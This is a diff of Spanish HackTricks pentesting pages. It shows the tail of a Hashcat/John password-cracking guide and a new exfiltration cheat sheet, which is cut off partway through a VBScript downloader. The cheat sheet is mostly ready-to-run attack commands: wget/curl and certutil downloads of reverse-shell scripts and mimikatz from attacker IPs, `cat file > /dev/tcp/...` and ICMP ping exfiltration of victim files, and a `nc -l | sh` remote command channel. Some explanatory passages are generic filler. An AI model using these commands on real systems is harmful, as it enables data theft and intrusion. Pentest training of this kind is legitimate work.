||||
|
||||
Leer _**/etc/john/john.conf**_ y configurarlo.
|
||||
```bash
|
||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
```
|
||||
### Hashcat
|
||||
|
||||
#### Ataques de Hashcat
|
||||
|
||||
* **Ataque de lista de palabras** (`-a 0`) con reglas
|
||||
|
||||
**Hashcat** ya viene con una **carpeta que contiene reglas**, pero puedes encontrar [**otras reglas interesantes aquí**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
* Ataque de **combinación de listas de palabras**
|
||||
|
||||
Es posible **combinar 2 listas de palabras en 1** con hashcat.\
|
||||
Si la lista 1 contenía la palabra **"hello"** y la segunda contenía 2 líneas con las palabras **"world"** y **"earth"**. Las palabras `helloworld` y `helloearth` serán generadas.
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
|
||||
# Same attack as before but adding chars in the newly generated words
|
||||
# In the previous example this will generate:
|
||||
## hello-world!
|
||||
## hello-earth!
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||||
```
|
||||
* **Ataque de máscara** (`-a 3`)
|
||||
```bash
|
||||
# Mask attack with simple mask
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||||
|
||||
hashcat --help #will show the charsets and are as follows
|
||||
? | Charset
|
||||
===+=========
|
||||
l | abcdefghijklmnopqrstuvwxyz
|
||||
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||||
d | 0123456789
|
||||
h | 0123456789abcdef
|
||||
H | 0123456789ABCDEF
|
||||
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|
||||
a | ?l?u?d?s
|
||||
b | 0x00 - 0xff
|
||||
|
||||
# Mask attack declaring custom charset
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||
## -1 ?d?s defines a custom charset (digits and specials).
|
||||
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
|
||||
|
||||
# Mask attack with variable password length
|
||||
## Create a file called masks.hcmask with this content:
|
||||
?d?s,?u?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?l?l?l?1
|
||||
## Use it to crack the password
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||
```
|
||||
* Ataque de Wordlist + Máscara (`-a 6`) / Máscara + Wordlist (`-a 7`)
|
||||
```bash
|
||||
# Mask numbers will be appended to each word in the wordlist
|
||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
|
||||
# Mask numbers will be prepended to each word in the wordlist
|
||||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||
```
|
||||
#### Modos de Hashcat
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
# Crackeando Hashes de Linux - Archivo /etc/shadow
|
||||
|
||||
El archivo `/etc/shadow` es un archivo de sistema en Linux que contiene información de autenticación de usuarios. Este archivo almacena los hashes de las contraseñas de los usuarios en lugar de las contraseñas en texto plano.
|
||||
|
||||
Para crackear hashes de contraseñas en Linux, primero debemos obtener acceso al archivo `/etc/shadow`. Esto se puede hacer de varias maneras, como obtener acceso de root o explotar una vulnerabilidad en el sistema.
|
||||
|
||||
Una vez que tengamos acceso al archivo `/etc/shadow`, podemos utilizar herramientas como John the Ripper o Hashcat para crackear los hashes de las contraseñas. Estas herramientas utilizan técnicas de fuerza bruta y diccionario para intentar adivinar la contraseña original a partir del hash.
|
||||
|
||||
Es importante tener en cuenta que el cracking de hashes de contraseñas es ilegal sin el consentimiento explícito del propietario del sistema. Además, es importante utilizar contraseñas seguras y robustas para evitar que sean crackeadas fácilmente.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
Rompiendo Hashes de Windows
|
||||
|
||||
Para romper hashes de Windows, podemos utilizar herramientas como `hashcat` o `John the Ripper`. Ambas herramientas son capaces de romper hashes de Windows de forma eficiente.
|
||||
|
||||
Para utilizar `hashcat`, necesitamos una lista de palabras (wordlist) y el hash que queremos romper. Podemos utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
hashcat -m 1000 hash.txt wordlist.txt
|
||||
```
|
||||
|
||||
Donde `-m 1000` indica que estamos rompiendo un hash de Windows, `hash.txt` es el archivo que contiene el hash que queremos romper y `wordlist.txt` es la lista de palabras que utilizaremos para intentar romper el hash.
|
||||
|
||||
Para utilizar `John the Ripper`, necesitamos un archivo que contenga los hashes de Windows que queremos romper. Podemos utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
john --format=NT hash.txt
|
||||
```
|
||||
|
||||
Donde `--format=NT` indica que estamos rompiendo un hash de Windows y `hash.txt` es el archivo que contiene los hashes que queremos romper.
|
||||
|
||||
Ambas herramientas son muy eficientes y pueden romper hashes de Windows en cuestión de segundos o minutos, dependiendo de la complejidad del hash y de la lista de palabras utilizada.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
Rompiendo Hashes Comunes de Aplicaciones
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
5100 | Half MD5 | Raw Hash
|
||||
100 | SHA1 | Raw Hash
|
||||
10800 | SHA-384 | Raw Hash
|
||||
1400 | SHA-256 | Raw Hash
|
||||
1700 | SHA-512 | Raw Hash
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
512
generic-methodologies-and-resources/exfiltration.md
Normal file
512
generic-methodologies-and-resources/exfiltration.md
Normal file
@ -0,0 +1,512 @@
|
||||
## Exfiltración
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
|
||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Copiar y pegar en Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
**Windows**
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
```
|
||||
## HTTP
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
**Windows**
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
|
||||
#PS
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
|
||||
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
|
||||
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
||||
|
||||
Import-Module BitsTransfer
|
||||
Start-BitsTransfer -Source $url -Destination $output
|
||||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Subir archivos
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer imprimiendo GET y POSTs (también cabeceras)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
python3 -m pip install --user uploadserver
|
||||
python3 -m uploadserver
|
||||
# With basic auth:
|
||||
# python3 -m uploadserver --basic-auth hello:world
|
||||
|
||||
# Send a file
|
||||
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
||||
# With basic auth:
|
||||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||
```
|
||||
### **Servidor HTTPS**
|
||||
|
||||
---
|
||||
|
||||
#### **Description**
|
||||
|
||||
A HTTPS server is a server that uses the HTTPS protocol to encrypt the communication between the server and the client. This protocol is widely used to protect sensitive information such as passwords, credit card numbers, and other personal data.
|
||||
|
||||
#### **Exploitation**
|
||||
|
||||
If an attacker gains access to a HTTPS server, they can potentially exfiltrate sensitive information by intercepting the encrypted traffic. This can be done by using a man-in-the-middle attack or by compromising the server itself.
|
||||
|
||||
#### **Mitigation**
|
||||
|
||||
To prevent exfiltration through a HTTPS server, it is important to ensure that the server is properly secured. This includes using strong encryption algorithms, keeping software up-to-date, and implementing proper access controls. Additionally, monitoring network traffic for suspicious activity can help detect and prevent exfiltration attempts.
|
||||
```python
|
||||
# from https://gist.github.com/dergachev/7028596
|
||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||
# generate server.xml with the following command:
|
||||
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
# run as follows:
|
||||
# python simple-https-server.py
|
||||
# then in your browser, visit:
|
||||
# https://localhost:443
|
||||
|
||||
### PYTHON 2
|
||||
import BaseHTTPServer, SimpleHTTPServer
|
||||
import ssl
|
||||
|
||||
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
|
||||
httpd.serve_forever()
|
||||
###
|
||||
|
||||
### PYTHON3
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
|
||||
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
|
||||
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
|
||||
httpd.serve_forever()
|
||||
###
|
||||
|
||||
### USING FLASK
|
||||
from flask import Flask, redirect, request
|
||||
from urllib.parse import quote
|
||||
app = Flask(__name__)
|
||||
@app.route('/')
|
||||
def root():
|
||||
print(request.get_json())
|
||||
return "OK"
|
||||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
###
|
||||
```
|
||||
## FTP
|
||||
|
||||
### Servidor FTP (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### Servidor FTP (NodeJS)
|
||||
|
||||
#### Introducción
|
||||
|
||||
En este apartado se explicará cómo configurar un servidor FTP en NodeJS para exfiltrar datos.
|
||||
|
||||
#### Configuración
|
||||
|
||||
Para configurar el servidor FTP, se debe instalar el paquete `ftp-srv` de NodeJS:
|
||||
|
||||
```
|
||||
npm install ftp-srv
|
||||
```
|
||||
|
||||
Luego, se debe crear un archivo `server.js` con el siguiente contenido:
|
||||
|
||||
```javascript
|
||||
const FtpSrv = require('ftp-srv');
|
||||
|
||||
const ftpServer = new FtpSrv({
|
||||
url: 'ftp://0.0.0.0:21',
|
||||
pasv_url: 'ftp://0.0.0.0:3000',
|
||||
greeting: 'Welcome to my FTP server',
|
||||
anonymous: true,
|
||||
file_format: 'ls',
|
||||
});
|
||||
|
||||
ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
|
||||
console.log(`User ${username} logged in`);
|
||||
resolve({root: '/'});
|
||||
});
|
||||
|
||||
ftpServer.listen()
|
||||
.then(() => {
|
||||
console.log('FTP server listening');
|
||||
});
|
||||
```
|
||||
|
||||
Este archivo crea un servidor FTP que escucha en el puerto 21 y utiliza el puerto 3000 para conexiones pasivas. Además, permite conexiones anónimas y muestra un mensaje de bienvenida personalizado.
|
||||
|
||||
#### Uso
|
||||
|
||||
Para utilizar el servidor FTP, se debe ejecutar el archivo `server.js` con NodeJS:
|
||||
|
||||
```
|
||||
node server.js
|
||||
```
|
||||
|
||||
Luego, se puede conectar al servidor FTP utilizando cualquier cliente FTP, como `ftp` en Linux o FileZilla en Windows. La dirección IP del servidor FTP es la dirección IP de la máquina en la que se está ejecutando el servidor.
|
||||
|
||||
Una vez conectado al servidor FTP, se pueden subir y descargar archivos como en cualquier otro servidor FTP.
|
||||
|
||||
#### Conclusión
|
||||
|
||||
El servidor FTP en NodeJS es una herramienta útil para exfiltrar datos de forma sencilla y rápida. Sin embargo, se debe tener en cuenta que el servidor FTP no es seguro y que los datos transferidos pueden ser interceptados por terceros. Por lo tanto, se recomienda utilizar esta herramienta solo en entornos controlados y seguros.
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### Servidor FTP (pure-ftp)
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
||||
```bash
|
||||
#Run the following script to configure the FTP server
|
||||
#!/bin/bash
|
||||
groupadd ftpgroup
|
||||
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
|
||||
pure-pwd useradd fusr -u ftpuser -d /ftphome
|
||||
pure-pw mkdb
|
||||
cd /etc/pure-ftpd/auth/
|
||||
ln -s ../conf/PureDB 60pdb
|
||||
mkdir -p /ftphome
|
||||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### Cliente **Windows**
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
echo USER anonymous >> ftp.txt
|
||||
echo anonymous >> ftp.txt
|
||||
echo bin >> ftp.txt
|
||||
echo GET mimikatz.exe >> ftp.txt
|
||||
echo bye >> ftp.txt
|
||||
ftp -n -v -s:ftp.txt
|
||||
```
|
||||
## SMB
|
||||
|
||||
Kali como servidor
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
O crear un recurso compartido smb **usando samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
chmod 777 /tmp/smb
|
||||
#Add to the end of /etc/samba/smb.conf this:
|
||||
[public]
|
||||
comment = Samba on Ubuntu
|
||||
path = /tmp/smb
|
||||
read only = no
|
||||
browsable = yes
|
||||
guest ok = Yes
|
||||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
# Exfiltración de datos en Windows
|
||||
|
||||
## Introducción
|
||||
|
||||
La exfiltración de datos es el proceso de robo y transferencia de datos de un sistema comprometido a un sistema controlado por el atacante. En este documento se describen algunas técnicas comunes de exfiltración de datos en sistemas Windows.
|
||||
|
||||
## Técnicas de exfiltración de datos
|
||||
|
||||
### Correo electrónico
|
||||
|
||||
El correo electrónico es una forma común de exfiltración de datos. Los atacantes pueden enviar correos electrónicos con archivos adjuntos que contienen datos robados. También pueden utilizar servicios de correo electrónico en línea para enviar datos a través de la web.
|
||||
|
||||
### FTP
|
||||
|
||||
FTP es un protocolo de transferencia de archivos que se utiliza comúnmente para la exfiltración de datos. Los atacantes pueden utilizar clientes FTP para transferir datos a un servidor controlado por el atacante.
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Los atacantes pueden utilizar el protocolo HTTP/HTTPS para exfiltrar datos. Pueden utilizar herramientas como cURL o Wget para enviar datos a un servidor controlado por el atacante.
|
||||
|
||||
### DNS
|
||||
|
||||
El protocolo DNS se utiliza comúnmente para resolver nombres de dominio en direcciones IP. Los atacantes pueden utilizar consultas DNS para exfiltrar datos. Pueden utilizar herramientas como DnsCat2 para enviar datos a través de consultas DNS.
|
||||
|
||||
### SMB
|
||||
|
||||
SMB es un protocolo utilizado para compartir archivos e impresoras en redes Windows. Los atacantes pueden utilizar SMB para exfiltrar datos. Pueden utilizar herramientas como Impacket para transferir archivos a través de SMB.
|
||||
|
||||
### Dispositivos USB
|
||||
|
||||
Los atacantes pueden utilizar dispositivos USB para exfiltrar datos. Pueden copiar datos en un dispositivo USB y luego llevarlo físicamente fuera del lugar.
|
||||
|
||||
## Conclusiones
|
||||
|
||||
La exfiltración de datos es una parte importante del proceso de ataque. Los atacantes utilizan una variedad de técnicas para exfiltrar datos de sistemas comprometidos. Es importante que los administradores de sistemas estén al tanto de estas técnicas y tomen medidas para prevenirlas.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
||||
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
|
||||
WindPS-2> cd new_disk:
|
||||
```
|
||||
## SCP
|
||||
|
||||
El atacante debe tener SSHd en ejecución.
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
NC (Netcat) es una herramienta de red que se utiliza para leer y escribir datos a través de conexiones de red utilizando TCP o UDP. Es una herramienta muy útil para la exfiltración de datos, ya que permite la transferencia de archivos y la ejecución de comandos en sistemas remotos.
|
||||
|
||||
### Ejemplo de uso
|
||||
|
||||
Para utilizar NC para la exfiltración de datos, primero debemos establecer una conexión entre el sistema de origen y el sistema de destino. En el sistema de origen, podemos utilizar el siguiente comando para enviar un archivo a través de NC:
|
||||
|
||||
```
|
||||
nc <ip_destino> <puerto_destino> < archivo_a_enviar
|
||||
```
|
||||
|
||||
En el sistema de destino, podemos utilizar el siguiente comando para recibir el archivo:
|
||||
|
||||
```
|
||||
nc -l <puerto_destino> > archivo_recibido
|
||||
```
|
||||
|
||||
También podemos utilizar NC para ejecutar comandos en sistemas remotos. En el sistema de origen, podemos utilizar el siguiente comando para ejecutar un comando en el sistema de destino:
|
||||
|
||||
```
|
||||
echo "<comando_a_ejecutar>" | nc <ip_destino> <puerto_destino>
|
||||
```
|
||||
|
||||
En el sistema de destino, podemos utilizar el siguiente comando para recibir el comando y ejecutarlo:
|
||||
|
||||
```
|
||||
nc -l <puerto_destino> | sh
|
||||
```
|
||||
|
||||
Es importante tener en cuenta que NC no proporciona cifrado de datos, por lo que cualquier información transferida a través de NC puede ser interceptada y leída por terceros. Por lo tanto, se recomienda utilizar NC en combinación con otras herramientas de cifrado, como SSH o SSL, para garantizar la seguridad de los datos transferidos.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### Descargar archivo desde la víctima
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Subir archivo a la víctima
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
## **ICMP**
|
||||
|
||||
Gracias a **@BinaryShadow\_**
|
||||
```bash
|
||||
# To exfiltrate the content of a file via pings you can do:
|
||||
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
||||
#This will 4bytes per ping packet (you could probably increase this until 16)
|
||||
```
|
||||
|
||||
```python
|
||||
from scapy.all import *
|
||||
#This is ippsec receiver created in the HTB machine Mischief
|
||||
def process_packet(pkt):
|
||||
if pkt.haslayer(ICMP):
|
||||
if pkt[ICMP].type == 0:
|
||||
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
|
||||
print(f"{data.decode('utf-8')}", flush=True, end="")
|
||||
|
||||
sniff(iface="tun0", prn=process_packet)
|
||||
```
|
||||
## **SMTP**
|
||||
|
||||
Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Por defecto en XP y 2003 (en otros sistemas operativos es necesario agregarlo explícitamente durante la instalación)
|
||||
|
||||
En Kali, **inicie el servidor TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Servidor TFTP en Python:**
|
||||
|
||||
```python
|
||||
import socketserver
|
||||
import struct
|
||||
|
||||
class TFTPServer(socketserver.UDPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass)
|
||||
|
||||
class TFTPHandler(socketserver.BaseRequestHandler):
|
||||
def handle(self):
|
||||
data, socket = self.request
|
||||
opcode = struct.unpack("!H", data[:2])[0]
|
||||
if opcode == 1:
|
||||
filename = data[2:data.index(b'\0', 2)].decode('ascii')
|
||||
mode = data[data.index(b'\0', 2)+1:data.index(b'\0', data.index(b'\0', 2)+1)].decode('ascii')
|
||||
print("File requested: %s" % filename)
|
||||
print("Mode: %s" % mode)
|
||||
with open(filename, "rb") as f:
|
||||
file_data = f.read()
|
||||
block_num = 1
|
||||
while True:
|
||||
block = file_data[(block_num-1)*512:block_num*512]
|
||||
if not block:
|
||||
break
|
||||
packet = struct.pack("!H", 3) + struct.pack("!H", block_num) + block
|
||||
socket.sendto(packet, self.client_address)
|
||||
block_num += 1
|
||||
else:
|
||||
print("Unknown opcode: %d" % opcode)
|
||||
|
||||
if __name__ == "__main__":
|
||||
server = TFTPServer(('0.0.0.0', 69), TFTPHandler)
|
||||
server.serve_forever()
|
||||
```
|
||||
|
||||
Este es un servidor TFTP escrito en Python. El servidor escucha en todas las interfaces en el puerto 69. Cuando recibe una solicitud de lectura de archivo (opcode 1), lee el archivo solicitado y lo envía al cliente en bloques de 512 bytes.
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
En **víctima**, conectarse al servidor Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Descargar un archivo con una línea de código en PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
VBScript es un lenguaje de scripting que se utiliza principalmente en sistemas operativos Windows. Es similar a JavaScript y se utiliza para automatizar tareas en el sistema operativo. VBScript se puede utilizar para exfiltrar datos de un sistema comprometido. Algunas técnicas comunes de exfiltración de datos con VBScript incluyen el uso de FTP, correo electrónico y HTTP. También se puede utilizar para crear backdoors y descargar malware en un sistema comprometido.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
**Víctima**
|
||||
```bash
|
||||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
|
||||
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
|
||||
echo Err.Clear >> wget.vbs
|
||||
echo Set http = Nothing >> wget.vbs
|
||||
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
|
||||
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
|
||||
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
|
||||
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
|
||||
echo http.Open "GET", strURL, False >> wget.vbs
|
||||
echo http.Send >> wget.vbs
|
||||
echo varByteArray = http.ResponseBody >> wget.vbs
|
||||
echo Set http = Nothing >> wget.vbs
|
||||
